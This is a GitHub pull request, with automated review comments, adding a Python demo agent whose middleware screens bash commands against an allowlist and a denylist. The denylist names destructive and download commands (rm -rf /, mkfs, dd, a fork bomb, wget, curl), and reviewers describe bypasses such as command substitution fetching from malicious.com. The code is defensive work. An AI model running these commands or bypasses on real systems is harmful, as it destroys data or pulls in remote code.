feat(security): add v5_secure_agent with command middleware#31
feat(security): add v5_secure_agent with command middleware#31Protocol-zero-0 wants to merge 1 commit intoshareAI-lab:mainfrom
Conversation
|
@Protocol-zero-0 is attempting to deploy a commit to the crazyboym's projects Team on Vercel. A member of the Team first needs to authorize it. |
There was a problem hiding this comment.
Pull request overview
This PR introduces a security-focused agent module that implements command validation middleware to intercept and filter bash commands before execution. The implementation aims to address security concerns raised in issue #25 by providing a defense-in-depth approach with both allowlist (for safe commands) and denylist (for dangerous patterns) validation.
Changes:
- Adds CommandMiddleware class with dual-layer validation (denylist + allowlist)
- Implements safe-by-default behavior requiring explicit unsafe_mode override
- Provides demonstration of command interception pattern with mock agent loop
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| import json | ||
| import os | ||
| from datetime import datetime | ||
| from typing import Dict, Any, List, Optional | ||
|
|
There was a problem hiding this comment.
Following the established convention in this codebase, all session files include a comprehensive docstring header that explains the purpose, pattern, and provides an ASCII diagram. See s01_agent_loop.py, s02_tool_use.py, and s05_skill_loading.py for examples. This file should include a similar header explaining the security middleware pattern, its purpose in the learning path, and a diagram showing the validation flow.
| from typing import Dict, Any, List, Optional | ||
|
|
||
| # --- Configuration & Safety --- | ||
| # Allowlist for safe commands (exact matches or safe prefixes) |
There was a problem hiding this comment.
The comment on line 7 states "exact matches or safe prefixes" but the implementation on line 37 only checks exact matches of the base command (cmd_base not in SAFE_COMMANDS). There's no prefix matching logic. Either update the comment to accurately reflect the implementation, or implement prefix matching if that was the intended behavior.
| # Allowlist for safe commands (exact matches or safe prefixes) | |
| # Allowlist for safe commands (exact matches for base commands) |
| TOOLS = [ | ||
| { | ||
| "name": "bash", | ||
| "description": "Execute a safe bash command (sandboxed)", |
There was a problem hiding this comment.
The tool description says "Execute a safe bash command (sandboxed)" but there's no actual sandboxing implementation. The middleware only validates commands but doesn't provide process isolation, filesystem jails, network restrictions, or other sandboxing features. The description is misleading. Either implement actual sandboxing (e.g., using containers, chroot, or restricted execution environments) or update the description to accurately reflect that this is command validation/filtering, not sandboxing.
| "description": "Execute a safe bash command (sandboxed)", | |
| "description": "Execute a bash command with basic safety validation (no OS-level sandboxing)", |
| @@ -0,0 +1,87 @@ | |||
| import json | |||
There was a problem hiding this comment.
Following the established convention, all agent session files in this codebase start with a shebang line (#!/usr/bin/env python3). This allows the files to be executed directly. Add the shebang line as the first line of the file.
| SAFE_COMMANDS = { | ||
| "ls", "cat", "echo", "mkdir", "touch", "grep", "find", "pwd", "whoami" | ||
| } |
There was a problem hiding this comment.
Commands like "cat", "mkdir", "touch", and "grep" accept file paths as arguments. The validation doesn't check for path traversal attacks (e.g., "cat ../../../../etc/passwd" or "mkdir /tmp/malicious"). While the existing s02_tool_use.py uses a safe_path() function to validate paths for file operations, this middleware doesn't implement similar protections for bash commands that accept file paths. Consider adding path validation or restricting file paths to a workspace directory as proposed in issue #25's "Read-Only Mode" feature.
| def validate(self, command: str) -> bool: | ||
| """Returns True if command is safe to execute.""" | ||
| if self.unsafe_mode: | ||
| return True | ||
|
|
||
| cmd_base = command.split()[0] | ||
|
|
||
| # Check denylist first | ||
| for pattern in DENY_PATTERNS: | ||
| if pattern in command: | ||
| print(f"🚫 BLOCKED: Dangerous pattern detected: '{pattern}'") | ||
| return False | ||
|
|
||
| # Check allowlist (simple heuristic) | ||
| if cmd_base not in SAFE_COMMANDS: | ||
| print(f"⚠️ BLOCKED: Command '{cmd_base}' not in allowlist. Use --unsafe to override.") | ||
| return False | ||
|
|
||
| return True |
There was a problem hiding this comment.
The validation doesn't check for command substitution attacks using backticks or $() syntax. An attacker could bypass the allowlist with commands like "echo rm -rf /" or "echo $(wget malicious.com/script.sh)". These would pass validation because "echo" is in SAFE_COMMANDS, but the substituted commands would execute without validation. Add checks to detect and block command substitution patterns.
| import json | ||
| import os | ||
| from datetime import datetime | ||
| from typing import Dict, Any, List, Optional | ||
|
|
||
| # --- Configuration & Safety --- | ||
| # Allowlist for safe commands (exact matches or safe prefixes) | ||
| SAFE_COMMANDS = { | ||
| "ls", "cat", "echo", "mkdir", "touch", "grep", "find", "pwd", "whoami" | ||
| } | ||
|
|
||
| # Denylist for dangerous patterns (even if command is allowed) | ||
| DENY_PATTERNS = [ | ||
| "rm -rf /", "mkfs", "dd if=", ":(){:|:&};:", "wget", "curl", "chmod 777" | ||
| ] | ||
|
|
||
| class CommandMiddleware: | ||
| """Intercepts and validates commands before execution.""" | ||
|
|
||
| def __init__(self, unsafe_mode: bool = False): | ||
| self.unsafe_mode = unsafe_mode | ||
|
|
||
| def validate(self, command: str) -> bool: | ||
| """Returns True if command is safe to execute.""" | ||
| if self.unsafe_mode: | ||
| return True | ||
|
|
||
| cmd_base = command.split()[0] | ||
|
|
||
| # Check denylist first | ||
| for pattern in DENY_PATTERNS: | ||
| if pattern in command: | ||
| print(f"🚫 BLOCKED: Dangerous pattern detected: '{pattern}'") | ||
| return False | ||
|
|
||
| # Check allowlist (simple heuristic) | ||
| if cmd_base not in SAFE_COMMANDS: | ||
| print(f"⚠️ BLOCKED: Command '{cmd_base}' not in allowlist. Use --unsafe to override.") | ||
| return False | ||
|
|
||
| return True | ||
|
|
||
| # --- Tool Definitions --- | ||
| TOOLS = [ | ||
| { | ||
| "name": "bash", | ||
| "description": "Execute a safe bash command (sandboxed)", | ||
| "input_schema": { | ||
| "type": "object", | ||
| "properties": { | ||
| "command": {"type": "string", "description": "The command to run"} | ||
| }, | ||
| "required": ["command"] | ||
| } | ||
| } | ||
| ] | ||
|
|
||
| # Initialize Middleware | ||
| middleware = CommandMiddleware(unsafe_mode=False) | ||
|
|
||
| # --- Mock Agent Loop (Simplified) --- | ||
| def run_agent(task: str): | ||
| print(f"🤖 Agent starting task: {task}") | ||
|
|
||
| # Mocking LLM Output for demonstration | ||
| # In a real scenario, this comes from the model | ||
| mock_plan = [ | ||
| {"tool": "bash", "args": {"command": "ls -la"}}, | ||
| {"tool": "bash", "args": {"command": "rm -rf /"}} # Malicious attempt | ||
| ] | ||
|
|
||
| for step in mock_plan: | ||
| tool_name = step["tool"] | ||
| args = step["args"] | ||
|
|
||
| if tool_name == "bash": | ||
| cmd = args["command"] | ||
| print(f"\n> Attempting: {cmd}") | ||
|
|
||
| if middleware.validate(cmd): | ||
| print(f"✅ Executing: {cmd}") | ||
| # os.system(cmd) # Executing safe command | ||
| else: | ||
| print("❌ Execution Blocked by Middleware") | ||
|
|
||
| if __name__ == "__main__": | ||
| run_agent("List files and try to destroy system") |
There was a problem hiding this comment.
Issue #25 proposed three features: (1) Command Middleware, (2) Read-Only Mode to disable write/edit tools or restrict them to a workspace directory, and (3) Human-in-the-Loop pattern for escalating high-risk actions. This PR only implements the Command Middleware feature. The PR description states it "implements the security module proposed in #25" but doesn't mention that features 2 and 3 are not included. Consider updating the PR description to clarify that this is a partial implementation focusing on command validation, or implement the remaining features to fully address the proposal.
|
|
||
| if middleware.validate(cmd): | ||
| print(f"✅ Executing: {cmd}") | ||
| # os.system(cmd) # Executing safe command |
There was a problem hiding this comment.
The actual command execution is commented out on line 82, making this a demonstration-only implementation that doesn't actually execute validated commands. While this is appropriate for a learning example, it should be clearly documented in the file's header docstring that this is a demonstration/proof-of-concept rather than a production-ready implementation. Also note that if uncommented, os.system() is less secure than subprocess.run() used in other agent files (see s01_agent_loop.py:57), as it doesn't provide timeout protection or output capture.
|
|
||
| cmd_base = command.split()[0] |
There was a problem hiding this comment.
The command parsing on line 28 will raise an IndexError if the command string is empty or contains only whitespace. An attacker could bypass validation by providing an empty command string, or the function could crash. Add a check for empty/whitespace-only commands before calling split().
| cmd_base = command.split()[0] | |
| stripped_command = command.strip() | |
| if not stripped_command: | |
| print("⚠️ BLOCKED: Empty or whitespace-only command.") | |
| return False | |
| cmd_base = stripped_command.split()[0] |
| # Check denylist first | ||
| for pattern in DENY_PATTERNS: | ||
| if pattern in command: | ||
| print(f"🚫 BLOCKED: Dangerous pattern detected: '{pattern}'") | ||
| return False |
There was a problem hiding this comment.
The denylist patterns can be easily bypassed with variations. For example, "rm -rf /" is blocked but "rm -rf/" (no space), "rm -r -f /", or "rm --recursive --force /" are not. Similarly, "dd if=" is blocked but "dd if =" or "dd of=/dev/sda" are not. Security denylists should be comprehensive and account for common variations, or better yet, use a more robust validation approach that doesn't rely solely on pattern matching.
Description
Implements the security module proposed in #25.
Features
bashcalls to validate against Allowlist/Denylist.rm -rf /,mkfs).Usage
Closes #25